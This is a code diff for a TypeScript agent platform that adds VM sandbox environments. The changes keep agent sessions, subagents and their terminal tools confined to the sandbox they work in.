if (config?.type === "ssh") return `the remote environment "${env}" (SSH host ${config.host})`;
|
||||
if (config?.type === "gondolin")
|
||||
return `the sandbox "${env}" (a VM on the environment "${config.host}"; you cannot leave it, and only its own folders and allowed hosts are reachable)`;
|
||||
return undefined;
|
||||
},
|
||||
// The observed envs.json: a sandbox stays one while its configuration is valid (the last valid state).
|
||||
sandbox: (env) => isSandbox(store.value.snapshot.configs, env),
|
||||
},
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -7,6 +7,8 @@ import { DirectoryListingSchema, literal, method, remote, serverHost } from "@p2
|
|||
/** One environment as an agent sees it: never keys or identity files. */
|
||||
export const EnvInfoSchema = obj({
|
||||
name: str(),
|
||||
/** `gondolin`: a sandbox, `host` naming the SSH environment it runs on; conversations working there cannot leave it. */
|
||||
type: union([literal("ssh"), literal("gondolin")]),
|
||||
host: str(),
|
||||
user: opt(str()),
|
||||
port: opt(num()),
|
||||
|
|
@ -27,7 +29,7 @@ export const AgentLocations = remote("p2.agent-locations", {
|
|||
variants: {
|
||||
worker: {
|
||||
methods: {
|
||||
/** The configured SSH environments (this device is always available besides them). */
|
||||
/** The configured SSH environments and sandboxes (this device is always available besides them). */
|
||||
envs: method(obj({ origin: Owner }), obj({ envs: arr(EnvInfoSchema) })),
|
||||
/** Folders of `path` (absolute or `~`-relative) on `env` (null: this device), as the directory picker lists them. */
|
||||
directories: method(
|
||||
|
|
@ -40,7 +42,7 @@ export const AgentLocations = remote("p2.agent-locations", {
|
|||
),
|
||||
/**
|
||||
* Moves the worker's session (`SessionMoves.relocate`); `refused` is why its busy worker could not be fenced
|
||||
* (nothing moved).
|
||||
* (nothing moved). A session working in a sandbox only moves within it (only the owner's Relocate leaves it).
|
||||
*/
|
||||
move: method(
|
||||
obj({
|
||||
|
|
|
|||
|
|
@ -2,7 +2,8 @@ import { defineFacet, forbidden, isWorker, nativeOf } from "@p2/app/v1";
|
|||
import { envRevision, listLocalDirectory } from "@p2/app/v1/node";
|
||||
import { Hosts } from "@p2/app/v1/server";
|
||||
import { EnvManagers, EnvService } from "../envs/contract.ts";
|
||||
import { SessionMoves } from "../sessions/contract.ts";
|
||||
import { isSandbox } from "../envs/schema.ts";
|
||||
import { Catalog, SessionMoves } from "../sessions/contract.ts";
|
||||
import { AgentLocations, type EnvInfo } from "./contract.ts";
|
||||
|
||||
export default defineFacet((host) => {
|
||||
|
|
@ -14,6 +15,7 @@ export default defineFacet((host) => {
|
|||
const envs = self.get(EnvService, {});
|
||||
const managers = nativeOf(self, EnvManagers, "The SSH manager");
|
||||
const moves = self.get(SessionMoves, {});
|
||||
const catalog = self.get(Catalog, {});
|
||||
const current = () => {
|
||||
const worker = hosts.workers.value[session];
|
||||
if (!worker?.running || worker.generation !== generation) throw forbidden("stale worker");
|
||||
|
|
@ -31,9 +33,10 @@ export default defineFacet((host) => {
|
|||
const last = tests[name]?.revision === envRevision(config) ? tests[name]?.test : undefined;
|
||||
return {
|
||||
name,
|
||||
type: config.type,
|
||||
host: config.host,
|
||||
...(config.user === undefined ? {} : { user: config.user }),
|
||||
...(config.port === undefined ? {} : { port: config.port }),
|
||||
...(config.type !== "ssh" || config.user === undefined ? {} : { user: config.user }),
|
||||
...(config.type !== "ssh" || config.port === undefined ? {} : { port: config.port }),
|
||||
...(last === undefined
|
||||
? {}
|
||||
: {
|
||||
|
|
@ -51,6 +54,10 @@ export default defineFacet((host) => {
|
|||
},
|
||||
move: async ({ env, cwd }, ctx) => {
|
||||
current();
|
||||
// The location tools refuse this already; the server keeps a sandboxed session in its sandbox too.
|
||||
const from = catalog.sessions.value.find((entry) => entry.id === session)?.env;
|
||||
if (from && from !== env && isSandbox(envs.configs.value, from))
|
||||
throw forbidden(`this session works in sandbox ${from} and cannot leave it`);
|
||||
return moves.relocate({ id: session, env, cwd }, ctx);
|
||||
},
|
||||
},
|
||||
|
|
|
|||
|
|
@ -29,15 +29,25 @@ export type LocationTools = {
|
|||
readonly locate: (id: ConversationId, read: DocumentReader, context: Context) => Promise<Location>;
|
||||
};
|
||||
|
||||
/**
|
||||
* The sandbox a conversation working at `here` is confined to, decided by its environment's configured type: it may
|
||||
* move within the sandbox, never out of it (only the owner's Relocate leaves it).
|
||||
*/
|
||||
export const sandboxAt = (here: Location, envs: readonly EnvInfo[]): string | undefined =>
|
||||
here.env !== null && envs.some((env) => env.name === here.env && env.type === "gondolin") ? here.env : undefined;
|
||||
|
||||
const describeEnv = (env: EnvInfo, here: Location): string => {
|
||||
const target = `${env.user ? `${env.user}@` : ""}${env.host}${env.port ? `:${env.port}` : ""}`;
|
||||
const target =
|
||||
env.type === "gondolin"
|
||||
? `sandbox (a VM on ${env.host})`
|
||||
: `ssh ${env.user ? `${env.user}@` : ""}${env.host}${env.port ? `:${env.port}` : ""}`;
|
||||
const tested =
|
||||
env.tested === undefined
|
||||
? "not tested"
|
||||
: env.tested.ok
|
||||
? `tested ok (${env.tested.platform} ${env.tested.arch})`
|
||||
: `last test failed: ${env.tested.error}`;
|
||||
return `- ${env.name}: ssh ${target} · ${tested}${here.env === env.name ? " · you are here" : ""}`;
|
||||
return `- ${env.name}: ${target} · ${tested}${here.env === env.name ? " · you are here" : ""}`;
|
||||
};
|
||||
|
||||
export function createLocationExtension({ server, locate }: LocationTools) {
|
||||
|
|
@ -47,7 +57,9 @@ export function createLocationExtension({ server, locate }: LocationTools) {
|
|||
here: Location,
|
||||
context: Context,
|
||||
): Promise<{ listing: DirectoryListing; env: string | null } | string> => {
|
||||
const names = (await server.envs(context)).map((env) => env.name);
|
||||
const envs = await server.envs(context);
|
||||
const names = envs.map((env) => env.name);
|
||||
const sandbox = sandboxAt(here, envs);
|
||||
const parsed =
|
||||
args.location !== undefined
|
||||
? parseLocation(args.location, names, here)
|
||||
|
|
@ -56,6 +68,8 @@ export function createLocationExtension({ server, locate }: LocationTools) {
|
|||
...(args.env === undefined || args.env === here.env ? { cwd: here.cwd } : {}),
|
||||
});
|
||||
if ("error" in parsed) return parsed.error;
|
||||
if (sandbox !== undefined && parsed.env !== sandbox)
|
||||
return `You work in sandbox ${sandbox} and cannot leave it; use paths inside ${sandbox}.`;
|
||||
if (parsed.env !== null && !names.includes(parsed.env))
|
||||
return `Unknown environment "${parsed.env}" (location_envs lists them).`;
|
||||
try {
|
||||
|
|
@ -86,7 +100,7 @@ export function createLocationExtension({ server, locate }: LocationTools) {
|
|||
defineP2Tool({
|
||||
name: "location_envs",
|
||||
description:
|
||||
"List the environments you can work on: this device and the configured SSH environments (host, last test). Shows where you work now.",
|
||||
"List the environments you can work on: this device, the configured SSH environments (host, last test) and sandboxes. Shows where you work now.",
|
||||
parameters: obj({}, { open: true }),
|
||||
replay: "safe",
|
||||
origin: "owner",
|
||||
|
|
@ -98,6 +112,15 @@ export function createLocationExtension({ server, locate }: LocationTools) {
|
|||
});
|
||||
const here = await locate(api.conversationId, api, context);
|
||||
const envs = await server.envs(context);
|
||||
const sandbox = sandboxAt(here, envs);
|
||||
if (sandbox !== undefined)
|
||||
return reply(
|
||||
[
|
||||
`You work at ${locationText(here)}, in sandbox ${sandbox}: a VM whose tools reach only its own files and allowed hosts.`,
|
||||
"You cannot leave it; location_dirs and location_move take paths inside it.",
|
||||
...envs.filter((env) => env.name === sandbox).map((env) => describeEnv(env, here)),
|
||||
].join("\n"),
|
||||
);
|
||||
// The session's move is kept on conversation 1 whichever top-level conversation asked for it.
|
||||
const move = (await isTopLevel(api, api.conversationId, context))
|
||||
? await api.snapshot(LocationMoveDoc, ROOT_CONVERSATION_ID, context)
|
||||
|
|
|
|||
|
|
@ -3,7 +3,6 @@
|
|||
// (pi-env); the daemon killed the programs it ran, and their instances reconnect.
|
||||
|
||||
import type { Connection } from "@earendil-works/pi-env";
|
||||
import { envRevision } from "@p2/app/v1/node";
|
||||
import type { EnvConfig } from "../envs/config.ts";
|
||||
|
||||
/** A connection to environment `name` configured as `config`, which starts at its first request. */
|
||||
|
|
@ -21,9 +20,12 @@ export class EnvConnections {
|
|||
this.#connect = connect;
|
||||
}
|
||||
|
||||
/** The connection to `name` as configured now (opened for its first user); release it once done. */
|
||||
acquire(name: string, config: EnvConfig): EnvLease {
|
||||
const key = JSON.stringify([name, envRevision(config)]);
|
||||
/**
|
||||
* The connection to `name` as configured now (`revision`: its connection revision; opened for its first user);
|
||||
* release it once done.
|
||||
*/
|
||||
acquire(name: string, config: EnvConfig, revision: string): EnvLease {
|
||||
const key = JSON.stringify([name, revision]);
|
||||
let entry = this.#open.get(key);
|
||||
if (entry === undefined) {
|
||||
entry = { connection: this.#connect(name, config), users: 0 };
|
||||
|
|
|
|||
|
|
@ -8,8 +8,8 @@ import { join, resolve } from "node:path";
|
|||
import { pathToFileURL } from "node:url";
|
||||
import type { McpStdioServerConfig } from "@earendil-works/pi-mcp";
|
||||
import { type Location, locationText } from "@p2/app/v1";
|
||||
import { envRevision } from "@p2/app/v1/node";
|
||||
import type { EnvConfig } from "../envs/config.ts";
|
||||
import { connectionRevision } from "../envs/connection-revision.ts";
|
||||
import type { OwnerConfig, OwnerServer } from "./config.ts";
|
||||
import type { RunsOn } from "./contract.ts";
|
||||
import type { Lease } from "./leases.ts";
|
||||
|
|
@ -22,6 +22,8 @@ export type RemoteConnect = {
|
|||
/** The environment's name in envs.json, and its configuration there. */
|
||||
readonly environment: string;
|
||||
readonly config: EnvConfig;
|
||||
/** The connection's revision: the configuration's, a sandbox's with its host's (`connectionRevision`). */
|
||||
readonly revision: string;
|
||||
readonly command: string;
|
||||
readonly args: readonly string[];
|
||||
readonly env: Readonly<Record<string, string>>;
|
||||
|
|
@ -227,10 +229,11 @@ function stdioSpec(
|
|||
};
|
||||
}
|
||||
const envConfig = Object.hasOwn(envs, runsOn.env) ? envs[runsOn.env] : undefined;
|
||||
// An edited environment is another connection: its instances start again on it.
|
||||
const key = ["stdio", source, server, owner, runsOn, envConfig === undefined ? null : envRevision(envConfig), hash];
|
||||
// An edited environment (or a sandbox's edited host) is another connection: its instances start again on it.
|
||||
const revision = envConfig === undefined ? null : connectionRevision(envs, envConfig);
|
||||
const key = ["stdio", source, server, owner, runsOn, revision, hash];
|
||||
const spec = { id: idOf(key), server, source, location, runsOn, timeoutMs };
|
||||
if (envConfig === undefined)
|
||||
if (envConfig === undefined || revision === null)
|
||||
return { ...spec, connect: { kind: "unplaced", reason: `environment "${runsOn.env}" is not in envs.json` } };
|
||||
return {
|
||||
...spec,
|
||||
|
|
@ -238,6 +241,7 @@ function stdioSpec(
|
|||
kind: "remote",
|
||||
environment: runsOn.env,
|
||||
config: envConfig,
|
||||
revision,
|
||||
command,
|
||||
args,
|
||||
env,
|
||||
|
|
|
|||
|
|
@ -37,7 +37,7 @@ export type AuthProviders = (server: OAuthServer) => AuthProvider;
|
|||
export function transportsFor(connect: Connect, envs: EnvConnections, auth: AuthProviders): Transports {
|
||||
switch (connect.kind) {
|
||||
case "remote": {
|
||||
const lease = envs.acquire(connect.environment, connect.config);
|
||||
const lease = envs.acquire(connect.environment, connect.config, connect.revision);
|
||||
return { open: () => remoteTransport(connect, lease.connection), release: () => lease.release() };
|
||||
}
|
||||
case "host":
|
||||
|
|
|
|||
|
|
@ -28,6 +28,7 @@ import {
|
|||
useSheet,
|
||||
} from "@p2/app/v1/web";
|
||||
import { useCallback, useEffect, useMemo, useRef, useState, useSyncExternalStore } from "react";
|
||||
import { Envs } from "../envs/contract.ts";
|
||||
import { directoryPickerLayer } from "../envs/contract.web.tsx";
|
||||
import { Search, SessionReads } from "../search/contract.ts";
|
||||
import { SessionStatus } from "../status/contract.ts";
|
||||
|
|
@ -199,6 +200,12 @@ function Sidebar() {
|
|||
if (shown && marks && latest > read)
|
||||
void marks.markRead({ session: shown, through: latest }, BACKGROUND_CONTEXT).catch(() => {});
|
||||
}, [marks, shown, latest, read]);
|
||||
// Sandboxed groups show a lock; only the owner reads environments.
|
||||
const envs = useReadable(useObject(Envs, owner ? {} : undefined)?.envs);
|
||||
const sandboxes = useMemo(
|
||||
() => new Set((envs ?? []).flatMap((env) => (env.config.type === "gondolin" ? [env.name] : []))),
|
||||
[envs],
|
||||
);
|
||||
const search = liveIn(useObject(Search, owner ? {} : undefined), "owner");
|
||||
// A rebuild shows as running at once; it is long work (a job), so the sheet shows it running until it is done.
|
||||
const [rebuilds, reindex] = useOptimisticCall(
|
||||
|
|
@ -293,6 +300,7 @@ function Sidebar() {
|
|||
<Drawer
|
||||
sessions={sessions}
|
||||
guest={guest}
|
||||
sandboxes={sandboxes}
|
||||
activeId={route.session}
|
||||
conversationId={route.conversation}
|
||||
connected={connected}
|
||||
|
|
|
|||
|
|
@ -207,6 +207,20 @@ const everyTool = (caller: CallerTools): ToolRegistration[] => [
|
|||
/** Where a tool works, as its plugin declared it. */
|
||||
const scopeOf = (tool: ToolRegistration, access: ReadonlyMap<string, P2Tool>) => access.get(tool.name)?.scope ?? "any";
|
||||
|
||||
/**
|
||||
* The own location a one-shot agent inherited from the conversation whose script started it (a subagent with its own
|
||||
* location, or another one-shot agent of one); absent: it follows the session like its caller.
|
||||
*/
|
||||
export const InheritedLocation = defineDoc<{ location?: Location }>({
|
||||
kind: "p2.inherited-location",
|
||||
version: 1,
|
||||
scope: "conversation",
|
||||
history: "latest",
|
||||
fork: "initial",
|
||||
initial: () => ({}),
|
||||
checkpointWhen: () => true,
|
||||
});
|
||||
|
||||
/**
|
||||
* Gives the subagent working in `conversationId` its own location `location` (a granted `location_move`), in `tx`:
|
||||
* its registry entry and its agent cwd. False when the conversation is not a subagent (one-shot agents are not).
|
||||
|
|
|
|||
|
|
@ -31,6 +31,7 @@ import { answerOrigin, defineP2Tool, mainConversation, originOf, type P2Tool } f
|
|||
import { AGENT_MESSAGE_ENTRY, type AgentMessage, SUBAGENT_TASK_ENTRY, SubagentLocationsSchema } from "./contract.ts";
|
||||
import {
|
||||
CODEMODE_TOOL,
|
||||
InheritedLocation,
|
||||
resolveChoice,
|
||||
resolveTools,
|
||||
Subagents,
|
||||
|
|
@ -285,7 +286,10 @@ export function spawnEnvironments(
|
|||
};
|
||||
}
|
||||
|
||||
/** A conversation's own location (a subagent spawned with a cwd), or undefined: it follows the session. */
|
||||
/**
|
||||
* A conversation's own location (a subagent spawned with a cwd, or a one-shot agent started by a conversation with
|
||||
* one), or undefined: it follows the session.
|
||||
*/
|
||||
export async function ownLocation(
|
||||
read: DocumentReader,
|
||||
conversationId: ConversationId,
|
||||
|
|
@ -293,7 +297,8 @@ export async function ownLocation(
|
|||
): Promise<Location | undefined> {
|
||||
if (conversationId === ROOT_CONVERSATION_ID) return undefined;
|
||||
const registry = await read.snapshot(Subagents, ROOT_CONVERSATION_ID, context);
|
||||
return Object.values(registry?.agents ?? {}).find((agent) => agent.conversationId === conversationId)?.location;
|
||||
const own = Object.values(registry?.agents ?? {}).find((agent) => agent.conversationId === conversationId)?.location;
|
||||
return own ?? (await read.snapshot(InheritedLocation, conversationId, context))?.location;
|
||||
}
|
||||
|
||||
/** Where the conversation calling a tool works (the session's, or its own), for a spawned subagent's own location. */
|
||||
|
|
@ -302,6 +307,8 @@ export type Locate = (conversationId: ConversationId, read: DocumentReader, cont
|
|||
/** What the subagent tool needs to place subagents: locating conversations and resolving directories. */
|
||||
export type SubagentLocator = {
|
||||
readonly locate: Locate;
|
||||
/** The sandbox a conversation working at `location` is confined to (its environment's configured type), if any. */
|
||||
readonly sandbox: (location: Location) => Promise<string | undefined>;
|
||||
/** `target` as an existing directory's location, relative to `from` (see `resolveDirectory`), or why not. */
|
||||
readonly directory: (
|
||||
target: LocationInput,
|
||||
|
|
@ -321,6 +328,10 @@ export async function placeTarget(
|
|||
context: Context,
|
||||
): Promise<Location | string> {
|
||||
const env = args.env === undefined ? caller.env : args.env;
|
||||
// A caller in a sandbox places its subagents in the same sandbox only.
|
||||
const sandbox = await locator.sandbox(caller);
|
||||
if (sandbox !== undefined && env !== sandbox)
|
||||
return `You work in sandbox ${sandbox}; your subagents can only work inside it.`;
|
||||
const resolved = await locator.directory({ env, path: args.cwd ?? "" }, caller, context);
|
||||
if (!("error" in resolved)) return resolved;
|
||||
const where = `${env === caller.env ? "" : `${env ?? "local"}:`}${args.cwd ?? "~"}`;
|
||||
|
|
@ -525,10 +536,21 @@ export function createSubagentExtension(
|
|||
const caller = await locator.locate(api.conversationId, api, context);
|
||||
if (args.env !== undefined && args.env !== caller.env && origin !== "owner")
|
||||
return reply("Another environment needs a turn the owner started.", {}, true);
|
||||
const placed = await placeTarget(locator, caller, args, context);
|
||||
// A subagent in a sandbox: a cwd alone means a path in that sandbox (it cannot be placed elsewhere).
|
||||
const kept =
|
||||
agent?.location && args.env === undefined ? await locator.sandbox(agent.location) : undefined;
|
||||
const target = kept === undefined ? args : { ...args, env: kept };
|
||||
const placed = await placeTarget(locator, caller, target, context);
|
||||
if (typeof placed === "string") return reply(placed, {}, true);
|
||||
location = placed;
|
||||
}
|
||||
// A subagent working in a sandbox stays there, whoever configures it (only the owner's Relocate leaves one).
|
||||
const sandbox = agent?.location === undefined ? undefined : await locator.sandbox(agent.location);
|
||||
if (sandbox !== undefined && location !== undefined) {
|
||||
const next = location ?? (await locator.locate(ROOT_CONVERSATION_ID, api, context));
|
||||
if (next.env !== sandbox)
|
||||
return reply(`${name} works in sandbox ${sandbox} and cannot leave it.`, {}, true);
|
||||
}
|
||||
} else if (agent) {
|
||||
// A send: what it was given that its caller can no longer give is taken away (the caller's tools changed).
|
||||
const own = await api.agent(context);
|
||||
|
|
|
|||
|
|
@ -125,6 +125,7 @@ export default defineFacet((host, self) => {
|
|||
{
|
||||
locate: (conversationId, read, context) => locateConversation(harnessValue, conversationId, context, read),
|
||||
directory: (target, from, context) => resolveDirectory(harness().environments, target, from, context),
|
||||
sandbox: (location) => harness().environments.sandbox(location.env),
|
||||
},
|
||||
access,
|
||||
);
|
||||
|
|
|
|||
|
|
@ -1,4 +1,5 @@
|
|||
// The detached host reads the same validated SSH configurations as coding sessions.
|
||||
// The detached host reads the same validated SSH and sandbox configurations as coding sessions.
|
||||
// The server supplies the catalog's session.env; browsers cannot choose a machine.
|
||||
export { envRevision, loadEnvs } from "../envs/config.ts";
|
||||
export { sshOptions } from "../envs/remote-env.ts";
|
||||
export { connectionRevision } from "../envs/connection-revision.ts";
|
||||
export { envConnection, sandboxHost, sshOptions } from "../envs/remote-env.ts";
|
||||
|
|
|
|||
|
|
@ -2,11 +2,11 @@ import { randomBytes } from "node:crypto";
|
|||
import { readFile, rm } from "node:fs/promises";
|
||||
import { createServer, type Socket } from "node:net";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { Connection, detectPlatform, openTerminal, type RemoteTerminal, sshConnection } from "@earendil-works/pi-env";
|
||||
import { Connection, detectPlatform, openTerminal, type RemoteTerminal } from "@earendil-works/pi-env";
|
||||
import { takeProcessLock } from "../../src/runtime/process-lock.ts";
|
||||
import { localSystem, requireTerminalSupport, terminalDaemon } from "./daemon.ts";
|
||||
import { terminalHostAddress, terminalHostVersion } from "./detached.ts";
|
||||
import { envRevision, loadEnvs, sshOptions } from "./envs.ts";
|
||||
import { connectionRevision, envConnection, loadEnvs, sandboxHost, sshOptions } from "./envs.ts";
|
||||
import {
|
||||
BLINK,
|
||||
BOLD,
|
||||
|
|
@ -81,6 +81,8 @@ try {
|
|||
const address = await terminalHostAddress(directory);
|
||||
// We hold the lock: a socket file left behind is a killed host's.
|
||||
if (!address.startsWith("\0") && !address.startsWith("\\\\")) await rm(address, { force: true });
|
||||
/** The envs plugin's sandbox launcher (this host is a separate program, not a facet: no `pluginFile`). */
|
||||
const sandboxLauncher = fileURLToPath(new URL("../envs/sandbox/", import.meta.url));
|
||||
const version = await terminalHostVersion(fileURLToPath(new URL("../../", import.meta.url)));
|
||||
const ghostty = await Ghostty.load(await readFile(new URL("vendor/ghostty/ghostty-vt.wasm", import.meta.url)));
|
||||
|
||||
|
|
@ -198,16 +200,23 @@ async function connection(env: string | null): Promise<{ connection: Connection;
|
|||
}
|
||||
return { connection: await entry.connection, shellEnv: {} };
|
||||
}
|
||||
const config = (await loadEnvs(directory))[env];
|
||||
const configs = await loadEnvs(directory);
|
||||
const config = configs[env];
|
||||
if (!config) throw new Error(`Unknown environment ${env}`);
|
||||
const revision = envRevision(config);
|
||||
const revision = connectionRevision(configs, config);
|
||||
let entry = connections.get(env);
|
||||
if (!entry || entry.revision !== revision) {
|
||||
const target = sshOptions(directory, env, config);
|
||||
const started = (async () => {
|
||||
// A sandbox runs its host's daemon in its VM (both Linux on the host's architecture).
|
||||
const target =
|
||||
config.type === "ssh" ? sshOptions(directory, env, config) : await sandboxHost(directory, env, config.host);
|
||||
const remote = await detectPlatform(target);
|
||||
const binary = await terminalDaemon(remote.platform, remote.arch, false);
|
||||
const daemon = sshConnection({ ...target, binary, onLog: (text) => log(`pi-env ${env}: ${text}`) }).connection;
|
||||
const daemon = envConnection(directory, env, config, {
|
||||
launcher: sandboxLauncher,
|
||||
binary,
|
||||
onLog: (text) => log(`pi-env ${env}: ${text}`),
|
||||
}).connection;
|
||||
try {
|
||||
await requireTerminalSupport(daemon);
|
||||
return daemon;
|
||||
|
|
@ -224,7 +233,10 @@ async function connection(env: string | null): Promise<{ connection: Connection;
|
|||
}
|
||||
return {
|
||||
connection: await entry.connection,
|
||||
shellEnv: { ...(config.shellEnv ?? {}), ...(config.shellPath ? { SHELL: config.shellPath } : {}) },
|
||||
shellEnv:
|
||||
config.type === "ssh"
|
||||
? { ...(config.shellEnv ?? {}), ...(config.shellPath ? { SHELL: config.shellPath } : {}) }
|
||||
: {},
|
||||
};
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -94,11 +94,17 @@ const ResultSchema = obj({
|
|||
});
|
||||
type Result = Static<typeof ResultSchema>;
|
||||
|
||||
/** The extension offering the `terminal` tool, reached as `reach` says. */
|
||||
/** Where the calling conversation works, and the sandbox it is confined to, if any. */
|
||||
export type TerminalCaller = (api: ToolExecutionApi, context: Context) => Promise<{ here: Location; sandbox?: string }>;
|
||||
|
||||
/**
|
||||
* The extension offering the `terminal` tool, reached as `reach` says. A caller confined to a sandbox reaches only the
|
||||
* session's terminals in that sandbox: the others run outside it.
|
||||
*/
|
||||
export function createTerminalExtension(
|
||||
reach: TerminalReach,
|
||||
backend: TerminalBackend,
|
||||
locate: (api: ToolExecutionApi, context: Context) => Promise<Location>,
|
||||
caller: TerminalCaller,
|
||||
): Extension {
|
||||
return defineExtension({
|
||||
name: TERMINAL_EXTENSION,
|
||||
|
|
@ -125,7 +131,7 @@ export function createTerminalExtension(
|
|||
throw error;
|
||||
}
|
||||
try {
|
||||
const { result, terminalId } = await run(command, backend, locate, api, context);
|
||||
const { result, terminalId } = await run(command, backend, await caller(api, context), api, context);
|
||||
return {
|
||||
output: [{ type: "text", text: describe(result) }],
|
||||
structuredOutput: result,
|
||||
|
|
@ -154,61 +160,73 @@ function failure(text: string): ToolExecutionResult {
|
|||
async function run(
|
||||
command: TerminalCommand,
|
||||
backend: TerminalBackend,
|
||||
locate: (api: ToolExecutionApi, context: Context) => Promise<Location>,
|
||||
{ here, sandbox }: { here: Location; sandbox?: string },
|
||||
api: ToolExecutionApi,
|
||||
context: Context,
|
||||
): Promise<{ result: Result; terminalId?: string }> {
|
||||
const key = String(api.taskId);
|
||||
// Checked on reruns too (remembered terminals included): the conversation may have been moved into a sandbox since.
|
||||
const reachable = <T extends { env: string | null }>(terminal: T): T => {
|
||||
if (sandbox !== undefined && terminal.env !== sandbox)
|
||||
throw new Error(`That window runs outside sandbox ${sandbox}, where you work; it is not yours to use.`);
|
||||
return terminal;
|
||||
};
|
||||
const read = async (args: Parameters<TerminalBackend["read"]>[0]) => {
|
||||
const value = await backend.read(args, context);
|
||||
return { result: readResult(value), terminalId: value.terminal.id };
|
||||
};
|
||||
switch (command.command) {
|
||||
case "new-window": {
|
||||
const here = await locate(api, context);
|
||||
const directory = command.directory;
|
||||
const location =
|
||||
directory === undefined
|
||||
? here
|
||||
: { env: here.env, cwd: isRooted(directory) ? directory : joinPath(here.cwd, directory) };
|
||||
const opened = await backend.open(
|
||||
{
|
||||
key,
|
||||
location,
|
||||
...(command.name ? { name: command.name } : {}),
|
||||
...(command.shellCommand ? { command: command.shellCommand } : {}),
|
||||
},
|
||||
context,
|
||||
// A rerun gets the window its first run opened, which may be outside a sandbox entered since.
|
||||
const opened = reachable(
|
||||
await backend.open(
|
||||
{
|
||||
key,
|
||||
location,
|
||||
...(command.name ? { name: command.name } : {}),
|
||||
...(command.shellCommand ? { command: command.shellCommand } : {}),
|
||||
},
|
||||
context,
|
||||
),
|
||||
);
|
||||
const wait = waitOf(command, { kind: "quiet" }, DEFAULT_TIMEOUT_S);
|
||||
return read({ target: opened.id, from: 0, ...(wait ? { wait } : {}) });
|
||||
}
|
||||
case "list-windows": {
|
||||
const windows = await backend.list(context);
|
||||
const windows = (await backend.list(context)).filter(
|
||||
({ terminal }) => sandbox === undefined || terminal.env === sandbox,
|
||||
);
|
||||
return { result: { windows: windows.map(({ terminal, foreground }) => windowOf(terminal, foreground)) } };
|
||||
}
|
||||
case "send-keys": {
|
||||
const start = await readStart(command.target, backend, api, context);
|
||||
const start = await readStart(command.target, backend, reachable, api, context);
|
||||
await backend.send({ key, target: start.id, keys: command.keys, literal: command.literal }, context);
|
||||
const wait = waitOf(command, { kind: "quiet" }, SEND_TIMEOUT_S);
|
||||
return read({ target: start.id, from: start.offset, ...(wait ? { wait } : {}) });
|
||||
}
|
||||
case "read": {
|
||||
const start = await readStart(command.target, backend, api, context);
|
||||
const start = await readStart(command.target, backend, reachable, api, context);
|
||||
const wait = waitOf(command, { kind: "none" }, DEFAULT_TIMEOUT_S);
|
||||
return read({ target: start.id, from: start.offset, ...(wait ? { wait } : {}) });
|
||||
}
|
||||
case "capture-pane": {
|
||||
const { target, scrollback, escapes } = command;
|
||||
const { scrollback, escapes } = command;
|
||||
// Captured by the checked window's id: its number could be another window's by now.
|
||||
const target = reachable((await backend.cursor(command.target, context)).terminal).id;
|
||||
const { terminal, text } = await backend.capture({ target, scrollback, escapes }, context);
|
||||
return { result: { ...stateOf(terminal), ...cut(text, 0) }, terminalId: terminal.id };
|
||||
}
|
||||
case "kill-window": {
|
||||
// A rerun closes the window the first attempt found, never another that took its number since.
|
||||
const known = await api.memo<{ id: string; window: number }>("window", context);
|
||||
const target = known ?? (await backend.cursor(command.target, context)).terminal;
|
||||
const known = await api.memo<{ id: string; window: number; env: string | null }>("window", context);
|
||||
const target = reachable(known ?? (await backend.cursor(command.target, context)).terminal);
|
||||
const window = "window" in target ? target.window : target.index;
|
||||
await api.memo("window", { id: target.id, window }, context);
|
||||
await api.memo("window", { id: target.id, window, env: target.env }, context);
|
||||
await backend.close({ key, target: target.id }, context);
|
||||
return { result: { window, killed: true } };
|
||||
}
|
||||
|
|
@ -219,13 +237,15 @@ async function run(
|
|||
async function readStart(
|
||||
target: string,
|
||||
backend: TerminalBackend,
|
||||
reachable: <T extends { env: string | null }>(terminal: T) => T,
|
||||
api: ToolExecutionApi,
|
||||
context: Context,
|
||||
): Promise<{ id: string; offset: number }> {
|
||||
const known = await api.memo<{ id: string; offset: number }>("start", context);
|
||||
if (known) return known;
|
||||
const known = await api.memo<{ id: string; offset: number; env: string | null }>("start", context);
|
||||
if (known) return reachable(known);
|
||||
const { terminal, offset } = await backend.cursor(target, context);
|
||||
return api.memo("start", { id: terminal.id, offset }, context);
|
||||
reachable(terminal);
|
||||
return api.memo("start", { id: terminal.id, offset, env: terminal.env }, context);
|
||||
}
|
||||
|
||||
/** The wait a command asks for, or its default; none for `-w none`. */
|
||||
|
|
|
|||
|
|
@ -2,12 +2,18 @@
|
|||
// session's worker, at the calling conversation's location. It follows the code mode switch as MCP tools do: for
|
||||
// scripts while code mode is on, loaded with `tool_search` while it is off.
|
||||
|
||||
import type { Extension, ToolExecutionApi } from "@earendil-works/pi-durable";
|
||||
import type { Extension } from "@earendil-works/pi-durable";
|
||||
import { type Context, type Ctx, contribute, defineFacet, expectVariant } from "@p2/app/v1";
|
||||
import { ExtensionSwitches } from "@p2/app/v1/node";
|
||||
import { Extensions, harnessOf, workerOf } from "@p2/app/v1/worker";
|
||||
import { AgentTerminals } from "./contract.ts";
|
||||
import { createTerminalExtension, TERMINAL_EXTENSION, type TerminalBackend, type TerminalReach } from "./tool.ts";
|
||||
import {
|
||||
createTerminalExtension,
|
||||
TERMINAL_EXTENSION,
|
||||
type TerminalBackend,
|
||||
type TerminalCaller,
|
||||
type TerminalReach,
|
||||
} from "./tool.ts";
|
||||
|
||||
/** The code mode plugin's extension: its switch is on while the `codemode` setting is, absent without the plugin. */
|
||||
const CODEMODE_EXTENSION = "codemode";
|
||||
|
|
@ -31,10 +37,13 @@ export default defineFacet((host) => {
|
|||
capture: (args, context) => via((server, ctx) => server.capture(args, ctx), context),
|
||||
close: (args, context) => via((server, ctx) => server.close(args, ctx), context),
|
||||
};
|
||||
const locate = (api: ToolExecutionApi, context: Context) =>
|
||||
harness().environments.locate(api.conversationId, context, api);
|
||||
const caller: TerminalCaller = async (api, context) => {
|
||||
const here = await harness().environments.locate(api.conversationId, context, api);
|
||||
const sandbox = await harness().environments.sandbox(here.env);
|
||||
return sandbox === undefined ? { here } : { here, sandbox };
|
||||
};
|
||||
const offer = (reach: TerminalReach) => ({
|
||||
[TERMINAL_EXTENSION]: createTerminalExtension(reach, backend, locate),
|
||||
[TERMINAL_EXTENSION]: createTerminalExtension(reach, backend, caller),
|
||||
});
|
||||
let offered: TerminalReach = "codemode";
|
||||
const extension = self.writable<Readonly<Record<string, Extension>>>(offer(offered));
|
||||
|
|
|
|||
Loading…
Add table
Add a link
